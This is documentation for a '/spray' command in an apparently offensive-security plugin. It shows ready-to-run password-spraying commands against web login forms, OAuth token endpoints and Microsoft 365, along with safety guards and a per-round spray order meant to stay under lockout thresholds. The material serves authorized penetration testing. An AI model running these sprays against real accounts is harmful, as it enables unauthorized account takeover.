spray

/spray

Live credential spray against an authentication endpoint. The most dangerous tool in this plugin. Read the guards section before using.

Modes

Usage

# HTTP form (simplest)
/spray https://target.com/login --mode http-form \
    --users users.txt --passes ranked.txt

# HTTP form with CSRF token extraction
/spray https://target.com/login --mode http-form \
    --users users.txt --passes ranked.txt \
    --post-data "user={USER}&pass={PASS}&_token={CSRF}" \
    --csrf-extract 'name="_token" value="([^"]+)"' \
    --success-regex "Welcome" \
    --fail-regex "Invalid credentials"

# OAuth password grant
/spray https://target.com/oauth/token --mode oauth \
    --users users.txt --passes ranked.txt \
    --oauth-client-id mobile-app \
    --oauth-scope "openid profile"

# Microsoft 365 (TREVORspray)
/spray https://login.microsoftonline.com --mode o365 \
    --users users.txt --passes ranked.txt

# Dry-run (pre-flight only, no real attempts)
/spray https://target.com/login --mode http-form \
    --users users.txt --passes ranked.txt --dry-run

Hard guards (cannot be bypassed)

1. Typed-hostname confirmation — Pre-flight prints the target hostname and requires you to type it back. Prevents spraying the wrong target.
2. Lockout warning — Calculates per-user failed-attempt count from your --passes size and warns if it exceeds typical lockout thresholds.
3. Audit log — Every attempt is appended to recon/<host>/spray/attempts-<timestamp>.jsonl. Format: {ts, round, user, pwd_sha256_prefix, status_code, looks_like_success, duration_ms}. Passwords are never logged in plaintext — only their SHA-256 prefix.
4. Spray order — pass[i] × all_users per round (NOT brute-per-user). Each account sees at most 1 failed attempt per round.